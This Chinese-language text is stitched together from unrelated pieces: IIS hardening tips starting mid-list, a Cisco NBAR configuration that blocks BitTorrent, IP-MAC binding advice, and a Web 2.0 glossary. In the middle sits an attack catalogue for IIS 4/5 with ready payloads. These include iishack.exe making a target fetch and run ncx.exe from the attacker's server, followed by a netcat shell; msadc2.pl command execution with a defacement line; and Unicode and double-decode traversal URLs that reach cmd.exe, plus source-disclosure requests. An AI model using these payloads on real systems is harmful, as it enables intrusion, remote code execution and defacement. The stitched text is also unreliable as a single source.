  有一天我进入我们的教室,发现在管理员组里多了一个用户。这意味着这时某个人已经成功地进入了你的系统,他或她可能冷不丁地将炸弹扔到你的系 统里,这将会突然摧毁你的整个系统,或者占用大量的带宽以便黑客使用。黑客同样趋向于留下一个帮助服务,一旦这发生了,采取任何措施可能都太晚了,你只能 重新格式化你的磁盘,从备份服务器恢复你每天备份的文件。因此,检查IIS服务器上的服务列表并保持尽量少的服务必须成为你每天的任务。你应该记住哪个服 务应该存在,哪个服务不应该存在。Windows 2000 Resource Kit带给我们一个有用的程序,叫作tlist.exe,它能列出每种情况运行在svchost 之下的服务。运行这个程序可以寻找到一些你想要知道的隐藏服务。给你一个提示:任何含有daemon几个字的服务可能不是Windows本身包含的服务, 都不应该存在于IIS服务器上。

  6. 严格控制服务器的写访问权限:

  这听起来很容易,然而,在大学校园里,一个Web服务器实际上是有很多"作者"的。教职人员都希望让他们的课堂信息能被远程学生访问。职 员们则希望与其他的职员共享他们的工作信息。服务器上的文件夹可能出现极其危险的访问权限。将这些信息共享或是传播出去的一个途径是安装第2个服务器以提 供专门的共享和存储目的,然后配置你的Web服务器来指向共享服务器。这个步骤能让网络管理员将Web服务器本身的写权限仅仅限制给管理员组。

7. 设置复杂的密码:

  我最近进入到教室,从事件察看器里发现了很多可能的黑客。他或她进入了实验室的域结构足够深,以至于能够对任何用户运行密码破解工具。如果有 用户使用弱密码 (例如"password"或是 changeme"或者任何字典单词),那么黑客能快速并简单的入侵这些用户的账号。

  8. 减少/排除Web服务器上的共享:

  如果网络管理员是唯一拥有Web服务器写权限的人,就没有理由让任何共享存在。共享是对黑客最大的诱惑。此外,通过运行一个简单的循环批处理文件,黑客能够察看一个IP地址列表,利用\\命令寻找Everyone/完全控制权限的共享。

  9. 禁用TCP/IP协议中的NetBIOS:

  这是残忍的。很多用户希望通过UNC路径名访问Web服务器。随着NETBIOS被禁用,他们便不能这么做了。另一方面,随着NETBIOS 被禁用,黑客就不能看到你局域网上的资源了。这是一把双刃剑,如果网络管理员部署了这个工具,下一步便是如何教育Web用户如何在NETBIOS失效的情 况下发布信息。

  10. 使用TCP端口阻塞:

  这是另一个残忍的工具。如果你熟悉每个通过合法原因访问你服务器的TCP端口,那么你可以进入你网络接口卡的属性选项卡,选择绑定的 TCP/IP协议,阻塞所有你不需要的端口。你必须小心的使用这一工具,因为你并不希望将自己锁在Web服务器之外,特别是在当你需要远程登陆服务器的情 况下。

  11. 仔细检查*.bat和*.exe 文件: 每周搜索一次*.bat

  和*.exe文件,检查服务器上是否存在黑客最喜欢,而对你来说将是一场恶梦的可执行文件。在这些破坏性的文件中,也许有一些是*.reg文 件。如果你右击并选择编辑,你可以发现黑客已经制造并能让他们能进入你系统的注册表文件。你可以删除这些没任何意义但却会给入侵者带来便利的主键。

  12. 管理IIS目录安全:

  IIS目录安全允许你拒绝特定的IP地址、子网甚至是域名。作为选择,我选择了一个被称作WhosOn的软件,它让我能够了解哪些IP地址正 在试图访问服务器上的特定文件。WhosOn列出了一系列的异常。如果你发现一个家伙正在试图访问你的cmd.exe,你可以选择拒绝这个用户访问Web 服务器。当然,在一个繁忙的Web站点,这可能需要一个全职的员工!然而,在内部网,这真的是一个非常有用的工具。你可以对所有局域网内部用户提供资源, 也可以对特定的用户提供。

  13. 使用NTFS安全:

  缺省地,你的NTFS驱动器使用的是EVERYONE/完全控制权限,除非你手工关掉它们。关键是不要把自己锁定在外,不同的人需要不同的权 限,管理员需要完全控制,后台管理账户也需要完全控制,系统和服务各自需要一种级别的访问权限,取决于不同的文件。最重要的文件夹是System32,这 个文件夹的访问权限越小越好。在Web服务器上使用NTFS权限能帮助你保护重要的文件和应用程序。

  14.管理用户账户:

  如果你已经安装IIS,你可能产生了一个TSInternetUser账户。除非你真正需要这个账户,否则你应该禁用它。这个用户很容易被渗透,是黑客们的显著目标。为了帮助管理用户账户,确定你的本地安全策略没有问题。IUSR用户的权限也应该尽可能的小。

  15. 审计你的Web服务器:

  审计对你计算机的性能有着较大的影响,因此如果你不经常察看的话,还是不要做审计了。如果你真的能用到它,请审计系统事件并在你需要的时候加 入审计工具。如果你正在使用前面提到的WhosOn工具,审计就不那么重要了。缺省地,IIS总是纪录访问, WhosOn 会将这些纪录放置在一个非常容易易读的数据库中,你可以通过Access或是 Excel打开它。如果你经常察看异常数据库,你能在任何时候找到服务器的脆弱点。

  总结

  上述所有IIS技巧和工具(除了WhosOn以外)都是Windows自带的。不要忘记在测试你网站可达性之前一个一个的使用这些技巧和工具。如果它们一起被部署,结果可能让你损失惨重,你可能需要重启,从而遗失访问。

  最后的技巧: 登陆你的Web服务器并在命令行下运行netstat -an。观察有多少IP地址正尝试和你的端口建立连接,然后你将有一大堆的调查和研究要做了。

最近为了封BT,几乎把NBO的网络论坛找遍了,用NBAR (Network-Based Application Recognition)网络应用识别

  NBAR是一种动态能在四到七层寻找协议的技术,它不但能做到普通ACL能做到那样控制静态的TCP UDP的报,也能做到控制一般ACLs不能做到动态的端口的那些协议(如BT)之类.

  我就说说过程:

  1到http://www.cisco.com/pcgi-bin/tablebuild.pl/pdlm 下载bittorrent.pdlm,(要CCO的)

  2放到TFTP,然后用copy tftp disk2(大多数应该是flash)

  拷到路由器中,

  route7206#conf t

  Enter configuration commands, one per line. End with CNTL/Z.

  route7206(config)#ip nbar pdlm bittorrent.pdlm

  route7206(config)#

  !

  ip nbar pdlm bittorrent.pdlm

  !

  1.) 创建一个 a class-map and policy map 并且把它应用到相应的端口:

  得到关于BT的部分是

  class-map match-all bittorrent

  match protocol bittorrent

  !

  !

  policy-map bittorrent-policy

  class bittorrent

  drop

  !

  interface GigabitEthernet0/2

  description CONNECT INSIDE

  ip address 192.168.168.1 255.255.255.252 secondary

  ip address 192.168.21.1 255.255.255.0

  ip nat inside

  service-policy input bittorrent-policy

  service-policy output bittorrent-policy

  duplex full

  speed 1000

  media-type rj45

  no negotiation auto

  我实验了一下,这样的话,BT就不能下载,呵呵

  感觉目前这样的技术比较好,我正在实验去掉EMULE的方法.

  QQ:7581276 MAIL:[email protected] [请转贴时保留我的EMAIL]

如果别人更改了MAC地址,就有可能成功盗用你的上网账号。为了阻止盗用IP上网,网管应该采取以下的对策:

  1. 将用户的IP与MAC地址捆绑起来

  网管在交换机和路由器上配置,或者进入“MS-DOS方式”,在命令提示符下输入命令:ARP -S 202.201.101.01 00-01-02-03-04-05,即可把MAC地址(00-01-02-03-04-05)和IP地址(202.201.101.01)捆绑在一起。

  注意:ARP命令仅对局域网的上网代理服务器有用,而且是针对静态IP地址,如果采用Modem拨号上网或是动态IP地址就不起作用了。

  2. IP-MAC-PORT三者绑定

  以上IP和MAC绑定的方法,并不能真正解决IP盗用问题,其实最有效的解决方法就是在IP、MAC绑定的基础上,再把端口(PORT)绑定进去,即IP-MAC-PORT三者绑定在一起。

  操作步骤:在布线的时候,建议每个交换机端口只连接一台主机,网管应该把用户墙上的接线盒和交换机的端口一一对应,并做好登记工作;然后把用户交上来的MAC地址填入对应的交换机端口;进而再和IP一起绑定,达到IP-MAC-PORT的三者绑定。这样一来,即使盗用者拥有这个IP对应的MAC地址,但是由于不可能同样拥有墙上的端口,因此可以防止盗用IP上网。除此之外,网管还可以采用其他方法防止盗用IP上网,例如配置交换机的VLAN、使用用户认证等等,由于篇幅所限,这里就不再展开了。

1. iis4hack缓冲溢出
主要存在于.htr,.idc.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exencx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:

c:>iishack.exe 80 /ncx.exe

然后你就使用netcat来连接你要检测的服务器:

c:>nc 80
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip

2.msadc
IIS
MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help
[quack@chat quack]$ perl msadc2.pl -h
— RDS smack v2 – rain forest puppy / ADM / wiretrip —
Usage: msadc.pl -h { -d -X -v }
-h = host you want to scan (ip or domain)
-d = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <hostsharefile> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s = run only step
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/
— RDS smack v2 – rain forest puppy / ADM / wiretrip —
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm

3.Codebrws.asp
察看文件源代码
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp

4.Showcode.asp
察看文件源代码
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini

5.Null.htw
察看文件源代码
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full

6.webhits.dll & .htw
hit-highligting
功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息:

format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消
这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (
这个一般为loopback使用)
一个攻击者可以使用如下的方法来访问系统中文件的内容:
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL http://www.victim.com/default.asp::$DATA你就得到了源代码

 

8.ASP Dot Bug
在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。
http://www.victim.com/sample.asp.

9.ISM.DLL
这个漏洞是由Cerberus Information Security team.最早发现的,它运行在IIS4.05.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行多次攻击。

http://www.victim.com/global.asa%20%20(…<=230)global.asa.htr

10. .idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
http://www.victim.com/anything.idc
或者 anything.idq

11.+.htr Bug
对有些ASAASP追加+.htrURL请求就会导致文件源代码的泄露:
http://www.victim.com/global.asa+.htr

12.NT Site Server Adsamples
通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 可能获得一些如数据库中的DSNUIDPASS的一些信息,如:

http://www.victim.com/adsamples/config/site.csc

13./iisadmpwd
IIS4.0
中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:winntsystem32inetsrviisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。

 

14.Translate:f Bug
泄露asp文件源代码 存在OFFICE 2000FRONTPAGE 2000Server Extensions中的WebDAV中, 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl

15.Unicode
IIS 4.0
IIS 5.0Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

可能需要察看以下几个目录
GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.0rnrn
GET
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.0rnrn
GET
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.0rnrn
GET
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.0rnrn
GET
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.0rnrn
eeye
开发了工具包iishack1.5针对这一漏洞进行测试
16.iis5.0
缓冲溢出
微软Win 2K IIS
5
的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printerURL请求时,IIS
5
调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printerURL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip

17.IIS CGI文件名二次解码漏洞
IIS
在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为".exe"".com"等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。
通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对"../""./"的检查,在某些条件下,攻击者可以执行任意系统命令。

例如,对于’’这个字符,正常编码后是%5c。这三个字符对应的编码为:
’%’ = %25
’5’ = %35
’c’ = %63
如果要对这三个字符再做一次编码,就可以有多种形式,例如:
%255c
%%35c
%%35%63
%25%35%63

因此,".."就可以表示成"..%255c""..%%35c"等等形式。在经过第一次解码之后,变成"..%5c"IIS会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成".."。因此攻击者就可以使用".."来进行目录遍历,执行web目录之外的任意程序。

   什么是web 2.0?

  到目前为止,关于Web2.0并没有清晰的定义。业内普遍的一种说法是,微内容是Web2.0的一个关键词。其中,微内容包括个人所形成的任何数据:比如一则网志、一个评论、一幅图片、收藏的书签、喜好的音乐列表、想结交的朋友等等。这些微内容,充斥在了人们的生活、工作和学习的方方面面。而Web2.0重点要解决的正是对这些微内容的重新发现和利用。于是,我们看到了这样的现象,只要是和微内容相关的技术和架构,都是以Web2.0为名义的。

  就目前的发展情况而言,Web2.0是以 FlickrCraigslistLinkedinTribesRyze FriendsterDel.icio.us43Things.com等网站为代表,以BlogTAGSNSRSSwiki等应用为核心,依据六度分隔、xmlajax等新理论和技术实现的互联网新一代模式。

  什么是博客(Blog)?

  BLOG也就是WEB LOG的缩写简单来说就是网络日记。一种极其简易便捷的网络个人出版形式,使得任何一位网民都可以在几分钟之内拥有自己的个人网站,自由挥写。但是,越简单越难定义,人们对于博客的理解千姿百态,:博客代表着新闻媒体3.0”:旧媒体新媒体互媒体(硅谷最著名的IT专栏作家丹·吉尔摩);博客是继E-mailBBSICQ(IM)之后的第四种网络交流方式;博客就是一个人未经编辑的声音(戴夫·温纳);博客是互联网上独立的思想泡泡(JamesSnell);博客是媒体的开放源代码运动(方兴东);博客是个人出版2.0”(孙坚华);博客是用文字进行对话的网上咖啡屋(《博客手册》)……著名IT记者和专栏作家保罗·安得鲁斯认为,博客以及其他网络新闻的崛起,在一定程度上是因为媒体巨头在公信力方面的快速衰落,他们要努力推翻传统媒体的守门人”:“新一类新闻记者正在兴起,他们以直接来自新闻源的原始素材为基础。这些记者正在进行新的试水……是对体制官僚化的媒体的报复性破坏……博客改变了新闻从个人传播到公众的信息流动的本性……只要一摁张贴键,任何人都可以出版自己的作品,这将改变传统媒体出版模式。

  什么是播客?

  播客,即英文的PodcastPodcasting,这个词来源自苹果电脑的"iPod""广播"(broadcast)的合成词,其指的是一种在互联网上发布文件并允许用户订阅feed以自动接收新文件的方法,或用此方法来制作的电台节目。这种新方法在2004年下半年开始在互联网上流行以用于发布音频文件。

  播客与其他音频内容传送的区别在于其订阅模式,它使用RSS 2.0文件格式传送信息。该技术允许个人进行创建与发布,这种新的传播方式使得人人可以说出他们想说的话。

  什么是Tag?

  Tag(中文叫做标签”) 是一种新的组织和管理在线信息的方式。它不同于传统的、针对文件本身的关键字检索,而是一种模糊化、智能化的分类。 Tag是一种更为灵活、有趣的分类方式,您可以为每篇日志、每个帖子或者每张图片等添加一个或多个Tag(标签),你可以看到网站上所有和您使用了相同Tag的内容,由此和他人产生更多的联系。Tag体现了群体的力量,使得内容之间的相关性和用户之间的交互性大大增强。

  什么是RSS?

  RSS就是一种简单的信息发布和传递方式,使得一个网站可以方便地调用其他提供RSS订阅服务的网站的内容,从而形成新闻聚合,让网站发布的内容在更大的范围内传播。

  如果从RSS阅读者的角度来看,RSS获取信息的模式与加入邮件列表获取信息有一定的相似之处,也就是可以不必登录各个提供信息的网站而通过客户端浏览方式(称为“RSS阅读器”)或者在线RSS阅读方式这些内容。

  什么是Wiki?

  Wiki一词来源于夏威夷语的 "wee kee wee kee" ,原本是快点的意思。在这里Wiki指一种超文本系统。这种超文本系统支持面向社群的协作式写作,同时也包括一组支持这种写作的辅助工具。我们可以在Web的基础上对Wiki文本进行浏览、创建、更改,而且创建、更改、发布的代价远比HTML文本为小;同时Wiki系统还支持面向社群的协作式写作,为协作式写作提供必要帮助;最后,Wiki的写作者自然构成了一个社群,Wiki系统为这个社群提供简单的交流工具。与其它超文本系统相比,wiki有使用方便及开放的特点,所以wiki系统可以帮助我们在一个社群内共享某领域的知识。

  什么是AJAX?

  Ajax并不是一种技术。它实际上是几种已经在各自领域大行其道技术的强强结合。Ajax混合了:

  *基于XHTML/CSS

  * DOM(Document Object Model)实现动态显示与交互

  * 通过XMLXSLT进行数据交换及处理

  * 使用JavaScript整合上述技术

  直观一点的说Ajax能够实现不刷新浏览器窗口(当然更不用安装额外的插件)而满足用户的操作,现在一些看上去很Cool的网站,很多是用这项技术实现的,其中包括:orkutGmailGoogle GroupGoogle SuggestGoogle MapsFlickrA9.com等。

  什么是SNS?

  SNS:Social Network Sofwaret,社会性网络软件,依据六度理论,以认识朋友的朋友为基础,扩展自己的人脉。并且无限扩张自己的人脉,在需要的时候,可以随时获取一点,得到该人脉的帮助。

  六度关系理论:美国著名社会心理学家米尔格伦(Stanley Milgram)20世纪60年代最先提出,在人际脉络中,要结识任何一位陌生的朋友,这中间最多只要通过六个朋友就能达到目的。就是说你想认识一个人,托朋友找朋友找认识他的人,之间不会超过六个人。

  在经济高速发展的今天,人际关系的作用愈发明显,人脉资源对于一个人的成功非常重要。目前很多职业人士在人际资源方面其实都比较匮乏,因此SNS这种新兴的网络社交方式一出现,迅速流行欧美国家,已经成为精英阶层拓展人际关系的主要方式之一。